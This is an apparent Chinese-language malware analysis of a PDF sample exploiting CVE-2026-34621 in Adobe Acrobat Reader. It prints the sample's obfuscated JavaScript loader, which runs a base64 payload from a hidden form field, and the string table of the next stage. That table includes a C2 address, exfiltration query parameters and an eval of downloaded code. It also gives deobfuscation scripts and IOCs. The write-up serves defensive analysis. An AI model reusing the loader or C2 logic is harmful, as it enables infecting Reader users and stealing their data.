概述

近日,笔者关注到一款包含CVE-2026-34621漏洞的PDF样本,由于在分析过程中,笔者发现了多个具有研究价值的异常现象,故在这里与大家共享学习:

  • 直接构建弹框响应载荷app.alert("T0daySeeker"),即可成功触发样本的漏洞载荷行为;
  • 基于网络请求触发第一次弹框行为后,Adobe Acrobat Reader软件会在不发起网络请求的情况下,多次触发弹框行为;
  • 关闭漏洞PDF样本,仅打开Adobe Acrobat Reader软件,仍会触发弹框行为;
  • 重启操作系统后,打开Adobe Acrobat Reader软件,弹框行为依然会触发。

结合上述现象,笔者推测:响应载荷被嵌入到Adobe Acrobat Reader软件中???

打开漏洞PDF样本的弹框效果:

仅打开Adobe Acrobat Reader软件的弹框效果:

漏洞详情

CVE-2026-34621是2026年4月被发现的一个针对Adobe Acrobat Reader的关键安全漏洞,由安全研究机构EXPMON率先捕获,捕获时该漏洞已处于在野利用状态,具备较高的安全风险。

漏洞核心原理

该漏洞的核心成因是Adobe Reader的JavaScript解释器在处理PDF内部对象属性时存在缺陷。具体原理如下:

  • 在JavaScript运行环境中,几乎所有对象都继承自全局基础对象Object.prototype,而CVE-2026-34621漏洞允许攻击者通过恶意构造的PDF结构,在解析过程中篡改这一全局原型的属性,进而触发后续恶意行为。

官方公告信息

2026年4月11日,Adobe官方在APSB26-43安全公告中正式确认了此漏洞,并公布了受影响的软件版本。

相关截图如下:

漏洞触发条件

通过对样本的反复测试,笔者对漏洞触发条件进行了整理:

  • 非Adobe Acrobat Reader工具:打开漏洞PDF时,文档内容会显示“You need to open this PDF in Adobe Acrobat Reader.”,无法触发漏洞;
  • Adobe Acrobat Reader工具:打开漏洞PDF时,可正常查看文档内容,同时触发漏洞载荷行为;

浏览器查看

使用浏览器查看漏洞pdf文档,截图如下:

Adobe Acrobat Reader查看

使用 Adobe Acrobat Reader 工具查看漏洞pdf文档,截图如下:

内嵌恶意脚本

直接使用010editor工具打开漏洞pdf,借助其Template功能,即可查看pdf文件结构。

相关截图如下:

恶意JavaScript脚本

尝试对漏洞pdf文件结构进行分析,发现在 9 0 obj 结构中存在被嵌入的JavaScript脚本。

相关截图如下:

尝试提取JavaScript脚本内容如下:

app.t = app["s"+\({}+[]\)[[+!+[]]+[+!+[]]]+"tTim"+\({}+[]\)[[+!+[]]+[+!+[]]]+"Out"]\(util["str"+\(!+[]/+[]+[]\)[!+[]+!+[]+!+[]]+"ngFromStr"+\({}+[]\)[[+!+[]]+[+!+[]]]+\(+{}+[]\)[+!+[]]+"m"]\(SOAP["stre"+\(+{}+[]\)[+!+[]]+"mD"+\({}+[]\)[[+!+[]]+[+!+[]]]+"cod"+\({}+[]\)[[+!+[]]+[+!+[]]]]\(util["str"+\({}+[]\)[[+!+[]]+[+!+[]]]+\(+{}+[]\)[+!+[]]+"mFromStr"+\(!+[]/+[]+[]\)[!+[]+!+[]+!+[]]+"ng"]\(getField\(\({}+[]\)[!+[]+!+[]]+\(!![]+[]\)[+[]]+\([][[]]+[]\)[+!+[]]+\(+!+[]+[]\)\)["v"+\(+{}+[]\)[+!+[]]+\(![]+[]\)[!+[]+!+[]]+"ue"]\), \({}+[]\)[!+[]+!+[]]+\(+{}+[]\)[+!+[]]+\(![]+[]\)[!+[]+!+[]+!+[]]+\({}+[]\)[[+!+[]]+[+!+[]]]+\(!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+[]\)+\(!+[]+!+[]+!+[]+!+[]+[]\)\)\), 500\);

转义字符

成功提取JavaScript脚本后,笔者尝试在浏览器Console窗口中运行JavaScript脚本,发现此代码会运行报错。

相关测试运行截图如下:

进一步分析,发现:上述JavaScript脚本中的 “\(” 和 “\)” 实际是转义字符,其对应原始字符是 “(” 和 “)” 。

相关测试运行截图如下:

尝试对转义字符进行处理,得到JavaScript脚本内容如下:

app.t = app["s"+({}+[])[[+!+[]]+[+!+[]]]+"tTim"+({}+[])[[+!+[]]+[+!+[]]]+"Out"](util["str"+(!+[]/+[]+[])[!+[]+!+[]+!+[]]+"ngFromStr"+({}+[])[[+!+[]]+[+!+[]]]+(+{}+[])[+!+[]]+"m"](SOAP["stre"+(+{}+[])[+!+[]]+"mD"+({}+[])[[+!+[]]+[+!+[]]]+"cod"+({}+[])[[+!+[]]+[+!+[]]]](util["str"+({}+[])[[+!+[]]+[+!+[]]]+(+{}+[])[+!+[]]+"mFromStr"+(!+[]/+[]+[])[!+[]+!+[]+!+[]]+"ng"](getField(({}+[])[!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+!+[]]+(+!+[]+[]))["v"+(+{}+[])[+!+[]]+(![]+[])[!+[]+!+[]]+"ue"]), ({}+[])[!+[]+!+[]]+(+{}+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+({}+[])[[+!+[]]+[+!+[]]]+(!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+[])+(!+[]+!+[]+!+[]+!+[]+[]))), 500);

混淆字符串

通过在浏览器Console窗口中测试运行,发现JavaScript脚本中的 ({}+[])[[+!+[]]+[+!+[]]] 、({}+[])[[+!+[]]+[+!+[]]]、(!+[]/+[]+[])[!+[]+!+[]+!+[]]等字符串,实际均为混淆字符串。

相关测试运行截图如下:

尝试在浏览器Console窗口中对相关混淆字符串进行测试运行,可成功提取原始字符串内容。

相关测试运行截图如下:

去混淆后的JavaScript脚本内容如下:

app.t = app["setTimeOut"](
  util["stringFromStream"](
    SOAP["streamDecode"](
      util["streamFromString"](
        getField("btn1")["value"]
      ), 
      "base64"
    )
  ), 
  500);

处理后脚本功能

通过分析,梳理上述去混淆后的JavaScript脚本:

  • 从 PDF 隐藏表单字段btn1中提取数据;
  • 使用 Base64 对提取的数据进行解码;
  • 将解码后的数据转换为可执行的 JavaScript代码;
  • 延迟 500 毫秒后,自动执行JavaScript代码。

Base64载荷

载荷定位

根据去混淆后脚本的功能逻辑,我们可基于010editor工具快速定位 btn1 载荷数据存放于 7 0 obj 结构中。

相关截图如下:

转义字符

根据JavaScript脚本功能,直接对 7 0 obj 结构中的base64编码数据进行base64解码,发现:只能对部分base64编码数据进行解码。

相关截图如下:

尝试对比解码前、解码后的数据内容,发现 7 0 obj 结构中的base64编码数据中存在 # 字符!(正常base64编码数据是不存在 # 字符的)

进一步分析,发现 # 字符实际是 PDF 格式特有的 #xx 转义字符。

转义规则如下:

#20 → 空格
#25 → %
#28 → (
#29 → )
#2B → +
#2F → /
#3D → =
#0A → 换行
#0D → 回车

相关截图如下:

自动化去转义字符

为了能够快速去除转义字符,笔者使用AI构建了一个JavaScript转换脚本,直接在浏览器Console窗口中测试运行即可。

转换脚本内容如下:

function decodePdfHex(str) {
    // 将 #XX 替换为对应的 ASCII 字符
    return str.replace(/#([0-9A-Fa-f]{2})/g, function(match, hex) {
        return String.fromCharCode(parseInt(hex, 16));
    });
}

// 示例:
var raw = "dmFy#2B#2Fh0...";
var cleaned = decodePdfHex(raw);
console.log(cleaned); // 还原成标准的 Base64 格式

脚本运行截图如下:

Base64解码

成功提取正常base64编码数据后,我们即可对其正常base64解码。

相关截图如下:

为便于查看代码,我们可使用 VS Code 工具对脚本内容进行格式化处理。

处理后脚本内容如下:

混淆载荷

代码混淆函数

对base64解码后的代码进行分析,我们可发现_0x25ecb7变量中存在大量的字符串数据,其中包括了外联地址信息。

相关代码截图如下:

结合实际代码测试运行,我们发现代码中存在大量的混淆代码,其混淆代码格式形如_0x204aee(0x20e)、a0_0xca7600(0x1ee)形式。

相关测试运行截图如下:

进一步分析,提取混淆函数相关代码,发现混淆代码逻辑如下:

  • _0x25ecb7中存放了字符串数组,此字符串数组是乱序存放的;
  • 通过特定算法将_0x25ecb7中乱序数组调整为正确顺序;
  • 从形如_0x204aee(0x20e)等格式的函数中提取参数值,根据参数值计算数组偏移量,从而获取对应的原始字符串。

混淆函数相关代码如下:

var a0_0xca7600 = a0_0x549f;
(function (_0x562ce1, _0x37b0c8) {
  var _0x4e8cd5 = a0_0x549f,
    _0x46cb17 = _0x562ce1();
  while (!![]) {
    try {
      var _0x32ef3a =
        (-parseInt(_0x4e8cd5(0x24d)) / 0x1) *
          (-parseInt(_0x4e8cd5(0x23e)) / 0x2) +
        -parseInt(_0x4e8cd5(0x230)) / 0x3 +
        (-parseInt(_0x4e8cd5(0x231)) / 0x4) *
          (-parseInt(_0x4e8cd5(0x24c)) / 0x5) +
        (-parseInt(_0x4e8cd5(0x268)) / 0x6) *
          (parseInt(_0x4e8cd5(0x237)) / 0x7) +
        (-parseInt(_0x4e8cd5(0x266)) / 0x8) *
          (parseInt(_0x4e8cd5(0x1d9)) / 0x9) +
        (parseInt(_0x4e8cd5(0x261)) / 0xa) *
          (-parseInt(_0x4e8cd5(0x1e1)) / 0xb) +
        parseInt(_0x4e8cd5(0x263)) / 0xc;
      if (_0x32ef3a === _0x37b0c8) break;
      else _0x46cb17["push"](_0x46cb17["shift"]());
    } catch (_0x3153df) {
      _0x46cb17["push"](_0x46cb17["shift"]());
    }
  }
})(a0_0x1a97, 0xb6335);
function a0_0x549f(_0x3edbbd, _0x5e4780) {
  var _0x1a975a = a0_0x1a97();
  return (
    (a0_0x549f = function (_0x549f6f, _0x411198) {
      _0x549f6f = _0x549f6f - 0x1d8;
      var _0x472e41 = _0x1a975a[_0x549f6f];
      return _0x472e41;
    }),
    a0_0x549f(_0x3edbbd, _0x5e4780)
  );
}
function a0_0x1a97() {
  var _0x25ecb7 = [
    "_Ke",
    "MAX_SAFE_INTEGER",
    "list",
    "getProdVersionString",
    "number",
    "unsupported\x20array-like\x20object",
    "slice",
    "3001372qCBAIH",
    "set",
    "replace",
    "invalid\x20plaintext\x20size\x20(must\x20be\x2016\x20bytes)",
    "substr",
    "charCodeAt",
    "Reader",
    "plugIns",
    "final_js",
    "&platform=",
    "version",
    "setValue",
    "s11",
    "getOCGs",
    "get",
    "_counter",
    "/c/Windows/System32/bootsvc.dll",
    "read",
    "apply",
    "doc",
    "viewerVersion",
    "state",
    "increment",
    "unknown",
    "encrypt",
    "Uint8Array",
    "invalid\x20key\x20size\x20(must\x20be\x2016,\x2024\x20or\x2032\x20bytes)",
    "&viewerVersion=",
    "trustedFunction",
    "random",
    "activeDocs",
    "clearInterval",
    "&pdfFile=",
    "WIN7",
    "ERR_UNK_PLATFORM_",
    "eval(global.final_js);",
    "indexOf",
    "ERR_UNK_VIEWERTYPE_",
    "0123456789abcdef",
    "toLowerCase",
    "swConn",
    "bird0",
    "decrypt",
    "split",
    "WIN11",
    "removeFeed",
    "&errs=",
    "&activeDocs=",
    "utils",
    "/c/Windows/AppReadiness",
    "length",
    "319988",
    "isArray",
    "Counter\x20must\x20be\x20instanitated\x20with\x20`new`",
    "pig0",
    "_aes",
    "ERR_NO_64BIT_READER",
    "layers",
    "isReader64bit",
    "name",
    "platform",
    "beginPriv",
    "rs1",
    "?rnd=",
    "key",
    "PKCS#7\x20invalid\x20padding\x20byte",
    "next",
    "unescape(\x27",
    "check()",
    "s12",
    "&od=",
    "_prepare",
    "isDocReadOnly",
    "WIN",
    "path",
    "_remainingCounter",
    "169.40.2.68:45191",
    "_UNSUPPORTED",
    "invalid\x20counter\x20value\x20(must\x20be\x20an\x20integer)",
    "956400zEvjBp",
    "436pgYoXz",
    "getUint16",
    "fromCharCode",
    "viewerType",
    "ERR_OS_",
    "exec",
    "6153AmVUaK",
    "hex",
    "http://",
    "?language=",
    "/c/windows/system32/ntdll.dll",
    "prototype",
    "status",
    "38AcGcjz",
    "setBytes",
    "stringFromStream",
    "endPriv",
    "activeDocs_count",
    "PKCS#7\x20padding\x20byte\x20out\x20of\x20range",
    "__defineGetter__",
    "push",
    "Counter",
    "pig1",
    "_Kd",
    "substring",
    "setTimeOut",
    "_remainingCounterIndex",
    "52955QesRaL",
    "28801oQdVwQ",
    "root",
    "ERR_UNSUPPORTED_VERSION_",
    "description",
    "invalid\x20ciphertext\x20size\x20(must\x20be\x2016\x20bytes)",
    "bird1",
    "rs2",
    "tmp1",
    "HufBuild\x20error:\x20",
    "join",
    "deer",
    "getOS",
    "call",
    "addFeed",
    "AES\x20must\x20be\x20instanitated\x20with\x20`new`",
    "ctr",
    "invalid\x20counter\x20bytes\x20size\x20(must\x20be\x2016\x20bytes)",
    "integer\x20value\x20out\x20of\x20safe\x20range",
    "readFileIntoStream",
    "Array\x20contains\x20invalid\x20value:\x20",
    "50Mzxccu",
    "WIN8.1",
    "34427148OAgwFl",
    "bind",
    "BMAX",
    "3321368QxbaCZ",
    "tmp2",
    "6114PHEMtF",
    "string\x20passed\x20to\x20hex2bin\x20does\x20not\x20have\x20len\x20%\x204\x20==\x200!!",
    "toBytes",
    "27BdhEkG",
  ];
  a0_0x1a97 = function () {
    return _0x25ecb7;
  };
  return a0_0x1a97();
}

自动化去混淆

为高效去除代码中的混淆逻辑,笔者基于混淆函数原理,借助AI构建了一个Go语言解混淆脚本,可自动替换a0_0xca7600、_0x204c9e、_0x4f586c、_0x47a2a7、_0x1422ef、_0x1ba50d、_0x388e6c、_0x5c2809、_0x521f45、_0x501176、_0x3d3374、_0x5f5523、_0x3d00ae、_0x10c267、_0x3a8d51、_0x33a7f6、_0x35f182、_0x55f3dd、_0x38c238、_0x4d159a、_0x2282bd、_0x149bb3、_0x2cf3e1、_0x50b691、_0xf5f472、_0x31d3f7、_0x3ef79a、_0x5ac22a、_0x12a024、_0x8d74bb、_0x3f7202、_0x41914a、_0x33b2f6、_0x16e1e7、_0x204aee混淆函数的调用,还原代码原始逻辑。

解混淆后的代码截图如下:

解混淆脚本如下:

package main

import (
    "fmt"
    "io/ioutil"
    "regexp"
    "strconv"
    "strings"
)

var stringArray = []string{
    "_Ke", "MAX_SAFE_INTEGER", "list", "getProdVersionString", "number",
    "unsupported array-like object", "slice", "3001372qCBAIH", "set", "replace",
    "invalid plaintext size (must be 16 bytes)", "substr", "charCodeAt", "Reader",
    "plugIns", "final_js", "&platform=", "version", "setValue", "s11", "getOCGs",
    "get", "_counter", "/c/Windows/System32/bootsvc.dll", "read", "apply", "doc",
    "viewerVersion", "state", "increment", "unknown", "encrypt", "Uint8Array",
    "invalid key size (must be 16, 24 or 32 bytes)", "&viewerVersion=",
    "trustedFunction", "random", "activeDocs", "clearInterval", "&pdfFile=",
    "WIN7", "ERR_UNK_PLATFORM_", "eval(global.final_js);", "indexOf",
    "ERR_UNK_VIEWERTYPE_", "0123456789abcdef", "toLowerCase", "swConn", "bird0",
    "decrypt", "split", "WIN11", "removeFeed", "&errs=", "&activeDocs=", "utils",
    "/c/Windows/AppReadiness", "length", "319988", "isArray",
    "Counter must be instanitated with `new`", "pig0", "_aes", "ERR_NO_64BIT_READER",
    "layers", "isReader64bit", "name", "platform", "beginPriv", "rs1", "?rnd=",
    "key", "PKCS#7 invalid padding byte", "next", "unescape('", "check()", "s12",
    "&od=", "_prepare", "isDocReadOnly", "WIN", "path", "_remainingCounter",
    "169.40.2.68:45191", "_UNSUPPORTED", "invalid counter value (must be an integer)",
    "956400zEvjBp", "436pgYoXz", "getUint16", "fromCharCode", "viewerType", "ERR_OS_",
    "exec", "6153AmVUaK", "hex", "http://", "?language=", "/c/windows/system32/ntdll.dll",
    "prototype", "status", "38AcGcjz", "setBytes", "stringFromStream", "endPriv",
    "activeDocs_count", "PKCS#7 padding byte out of range", "__defineGetter__",
    "push", "Counter", "pig1", "_Kd", "substring", "setTimeOut", "_remainingCounterIndex",
    "52955QesRaL", "28801oQdVwQ", "root", "ERR_UNSUPPORTED_VERSION_", "description",
    "invalid ciphertext size (must be 16 bytes)", "bird1", "rs2", "tmp1",
    "HufBuild error: ", "join", "deer", "getOS", "call", "addFeed",
    "AES must be instanitated with `new`", "ctr",
    "invalid counter bytes size (must be 16 bytes)", "integer value out of range",
    "readFileIntoStream", "Array contains invalid value: ", "50Mzxccu", "WIN8.1",
    "34427148OAgwFl", "bind", "BMAX", "3321368QxbaCZ", "tmp2", "6114PHEMtF",
    "string passed to hex2bin does not have len % 4 == 0!!", "toBytes", "27BdhEkG",
}

// 模拟 JS 的 parseInt:提取开头的数字部分
func jsParseInt(s string) float64 {
    re := regexp.MustCompile(`^[0-9]+`)
    match := re.FindString(s)
    val, _ := strconv.ParseFloat(match, 64)
    return val
}

func getStr(idx int) string {
    return stringArray[idx-0x1d8]
}

func main() {
    target := float64(0xb6335) // 746293

    for {
        // 1. 全部使用 float64 进行计算,模拟 JS 的 Number 类型
        // 2. 检查索引是否对应(你的源码中可能有微小的偏移差异)
        sum := (-jsParseInt(getStr(0x24d))/1.0)*(-jsParseInt(getStr(0x23e))/2.0) +
            -jsParseInt(getStr(0x230))/3.0 +
            (-jsParseInt(getStr(0x231))/4.0)*(-jsParseInt(getStr(0x24c))/5.0) +
            (-jsParseInt(getStr(0x268))/6.0)*(jsParseInt(getStr(0x237))/7.0) +
            (-jsParseInt(getStr(0x266))/8.0)*(jsParseInt(getStr(0x1d9))/9.0) +
            (jsParseInt(getStr(0x261))/10.0)*(-jsParseInt(getStr(0x1e1))/11.0) +
            jsParseInt(getStr(0x263))/12.0

        if sum == target {
            break
        } else {
            // 数组旋转:push(shift())
            stringArray = append(stringArray[1:], stringArray[0])
        }
    }

    // 1. 读取混淆后的文件
    filePath := "base64_dec_repair.js" // 你的源文件名
    content, err := ioutil.ReadFile(filePath)
    if err != nil {
        fmt.Printf("读取文件失败: %v\n", err)
        return
    }

    // 2. 定义正则表达式
    // 匹配 a0_0xca7600(0x1ee) 这种格式
    // \w+ 匹配函数名,(0x[0-9a-fA-F]+) 捕获十六进制参数
    re := regexp.MustCompile(`_0x38c238+\((0x[0-9a-fA-F]+)\)`)

    // 3. 执行替换
    newContent := re.ReplaceAllStringFunc(string(content), func(match string) string {
        // 提取括号内的十六进制字符串,如 "0x1ee"
        subMatches := re.FindStringSubmatch(match)
        if len(subMatches) < 2 {
            return match
        }

        hexStr := subMatches[1]
        // 将十六进制转换为整数
        val, err := strconv.ParseInt(strings.TrimPrefix(hexStr, "0x"), 16, 64)
        if err != nil {
            return match
        }

        // 获取真实字符串
        decoded := getStr(int(val))

        // 返回带引号的字符串,替换掉原有的函数调用
        return fmt.Sprintf(`"%s"`, decoded)
    })

    // 4. 将结果保存到新文件
    err = ioutil.WriteFile("base64_dec_repair.js", []byte(newContent), 0644)
    if err != nil {
        fmt.Printf("保存文件失败: %v\n", err)
        return
    }
}

恶意载荷

通过分析,发现最终恶意载荷可分为库函数代码和用户代码两部分。

相关代码截图如下:

环境指纹提取

通过分析,发现恶意脚本运行后,将对运行环境进行指纹提取,只有完全符合预设条件的系统才会被执行攻击。

筛选条件如下:

  • 版本检测:要求 Adobe Reader 版本必须大于 21.00120138。
  • 平台检测:必须为 Windows 平台(WIN),且明确要求为 Windows 10。
  • 架构检测:通过 isReader64bit() 检查是否为 64 位阅读器。

若检测不符合条件,脚本会记录相应错误信息,终止攻击流程。

相关代码截图如下:

动态URL构建

环境检测通过后,恶意脚本会根据检测到的版本信息和系统环境,动态生成数据回传和载荷请求的URL,核心信息如下:

  • C2 服务器:169.40.2.68:45191
  • 数据回传(dog1):根据Adobe Reader版本选择请求s11或s12路径,URL中携带大量敏感信息(如浏览器版本、系统版本、PDF文件路径等);
  • 载荷请求(dog2):根据Adobe Reader版本选择请求rs1或rs2路径,用于获取后续恶意载荷。

相关代码截图如下:

外联请求

通过分析,发现恶意脚本运行后,将发起两个dog2外联请求和dog1外联请求,C&C服务器将根据外联请求返回后续载荷内容。

备注:结合AI分析,发现外联请求中的 cType: "JS" 参数,表示返回的数据将作为 JavaScript 进行解析和执行。

相关代码截图如下:

相关网络通信请求如下:

解密载荷并执行

通过分析,发现恶意脚本运行后,将循环检查 bird0 (Key) 和 bird1 (Ciphertext)数据,用以判断是否成功下载后续载荷。

成功下载后续载荷后,样本将调用AES算法、zlib压缩算法对下载的加密载荷进行解密。

成功解密后,样本将调用eval执行解密后的恶意代码。

相关代码截图如下:

模拟网络行为测试

为了能够更直观的观察漏洞触发后载荷行为,笔者在模拟C&C端尝试构建了如下响应载荷:

在受控端,笔者使用AcroRdrDCx642600121367_en_US.exe软件触发漏洞pdf。

首次触发漏洞时,我们可发现受控端中执行了响应载荷代码,虽然受控端仅发起了一次外联请求,但实际却执行了多次响应载荷代码。

相关截图如下:

尝试关闭漏洞pdf文档,仅打开Adobe Acrobat Reader软件,发现受控端还会执行响应载荷代码,但却无外联请求。

相关截图如下:

IOCs

65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7
http://169.40.2.68:45191/
拉脱维亚 里加市